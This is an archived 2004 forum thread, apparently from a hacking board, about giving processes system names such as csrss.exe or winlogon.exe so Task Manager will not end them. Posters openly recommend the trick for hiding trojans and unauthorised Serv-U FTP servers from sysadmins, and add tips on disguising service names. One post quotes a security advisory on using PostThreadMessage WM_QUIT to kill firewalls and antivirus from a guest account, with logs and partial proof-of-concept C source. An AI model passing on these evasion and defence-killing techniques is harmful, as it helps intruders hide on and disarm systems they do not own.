In typical MS style, taskmgr does not check who owns a process before deciding that it may be a system process and that it should not be killed
In /private/shell/applets/taskmgr/procpage.cpp is the code for the process page of the taskmanager. The End Process button passes the PID to KillProcess(), which returns false if IsSystemProcess() determines that the PID to be killed is a system process. IsSystemProcess() checks only the image name against a static list
In short: name your process csrss.exe, winlogon.exe, smss.exe or services.exe and task manager will refuse to kill it (other tools will still be able to kill it).
Flinston
Feb 17 2004, 08:38 PM
it works hehe
thanks for this hint =)
But did you know ... if you name your exe "services.exe", the visual styles of windows (e.g. your theme) are disabled ?
hehe windows is allways funny ^^
mrBob
Feb 17 2004, 08:47 PM
haha, this is so funny nice trick m8 thanx
marcoz
Feb 17 2004, 10:28 PM
Thank you Bill
Ash
Feb 17 2004, 11:05 PM
Theres also svchost.exe and lsass.exe
studnikov
Feb 17 2004, 11:10 PM
svchost.exe can be killed. it's not like these service names.
But just as well you should make your net start name something other then serv-u ftp server. all they have to do it type in net start and it will display everything thats net started, just a thought to make it even more difficult to find what to kill, to save your @ss from rehack or sysop finding your Server.
D3ADLiN3
Feb 18 2004, 09:05 AM
hey good trick, lets see micro$oft patach that one
Merchantp
Feb 18 2004, 10:39 AM
haha wtf i never knew of "net start" thx dude <<<nub moment >>>
setthesun
Feb 18 2004, 11:34 AM
It's really funny and usable for possible trojans.
Sparkles
Feb 18 2004, 01:13 PM
the one thing that really really shits me with microsoft's taskmanger is the most simple thing of displaying where the application is being run from... luckily for me whenever im looking for something its usually using a port so foundstones fport prog saves the day... this also saves alot of people asses when it comes to sysadmins looking for files..
Sparkles
dr0zaxx
Feb 18 2004, 03:47 PM
I am not sure whether it's totally unkillable process. Maybe someone would like to meddle around with the PostThreadMessage bug to see if the process can be killed.
CODE
This article demonstrates a possible exploit in PostThreadMessage API. It appears from Brett Moore's testing that any thread can accept thread message (for example WM_QUIT), causing the process to terminate. This allows any logged user, with any security level to terminate any process that have a message queue.
Details From the MSDN: The PostThreadMessage function places (posts) a message in the message queue of the specified thread and then returns without waiting for the thread to process the message. BOOL PostThreadMessage( DWORD idThread, // thread identifier UINT Msg, // message to post WPARAM wParam, // first message parameter LPARAM lParam // second message
The function fails if the specified thread does not have a message queue. The system creates a thread's message queue when the thread makes its first call to one of the Win32 USER or GDI functions.
It appears from Brett Moore's testing that any thread running under any security level will accept a WM_QUIT message, causing the process to terminate.
From the MSDN: WM_QUIT The WM_QUIT message indicates a request to terminate an application and is generated when the application calls the PostQuitMessage function. Return Values This message does not have a return value, because it causes the message loop to terminate before the message is sent to the application's window procedure.
Similar results can also be seen in some cases using sending WM_DESTROY or WM_CLOSE messages. While this does not have the security implications of 'privilege escalation' attacks, it may cause some concerns under certain circumstances.
For our testing, we used a personal firewall that runs as a service, and requires a password before terminating. When run from a guest account Appshutdown was able to kill the firewall service and various other windows services. This means that any user has the potential to shutdown: * Antivirus applications * Personal firewall applications * Filtering applications * Monitoring applications * Potentially critical system services
Mitigating Factor: The thread is required to have a message queue. This attack must be run through an interactive logon.
Example Logs: The test.exe process is the personal firewall that requires a password before shutting down. The following logs are shortened outputs of the tlist and kill commands from the NTRK ------------------------------------------------------- C:\>tlist 208 WINLOGON.EXE NetDDE Agent 1020 test.exe TestFirewall 1132 mstask.exe SYSTEM AGENT COM WINDOW
C:\>kill 1020 process test.exe (1020) - 'TestFirewall' killed C:\>kill 208 process WINLOGON.EXE (208) - 'NetDDE Agent' killed -------------------------------------------------------
Although kill results in the messages above, what really happened was: a) The password prompt appeared when trying to kill 1020 b) The service remained running when trying to kill 208
------------------------------------------------------- C:\>appshutdown "TestFirewall" % AppShutdown - Playing with PostThreadMessage % brett.moore@security-assessment.com
+ Finding TestFirewall Window... + Found Main Window At...0x30038h + Finding Window Thread..0x42ch Process 0x3fch + Send Quit Message + Done... C:\>appshutdown "NetDDE Agent" % AppShutdown - Playing with PostThreadMessage % brett.moore@security-assessment.com
+ Finding NetDDE Agent Window... + Found Main Window At...0x10018h + Finding Window Thread..0x110h Process 0xd0h + Send Quit Message + Done... -------------------------------------------------------
AppShutdown managed to successfully shutdown both services: a) Bypassing the required password for the personal firewall b) Bypassing the security restrictions placed on shutting down services
Example Code: /************************************************************************ * Appshutdown.c * * Demonstrates the use of PostThreadMessage to; * - shutdown any application with a message handler * * The window title can be specified in code or on the command line * * Works against any application/service process that * has implemented a message handler * *************************************************************************/ #include <windows.h> #include <commctrl.h> #include <stdio.h> char tWindow[]="Windows Task Manager";// The name of the main window char* pWindow; int main(int argc, char *argv[]) { long hWnd,proc; DWORD hThread; printf("%% AppShutdown - Playing with PostThreadMessage\n"); printf("%% brett.moore@security-assessment.com\n\n"); // Specify Window Title On Command Line if (argc ==2) pWindow = argv[1]; else pWindow = tWindow;
Example Vulnerable Programs: From Brett Moore's testing, any process that implements a message queue is vulnerable to been shutdown by a user of any security level. In some instances bypassing shutdown password requirements.
Additional information The information has been provided by Brett Moore
Kpz
Feb 18 2004, 08:03 PM
That will kill it - this only serves to be unkillable from taskmgr
mal.one
Feb 22 2004, 07:22 PM
yeah thx 4 that hint. good to know for installling a serv-u
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
it works hehe
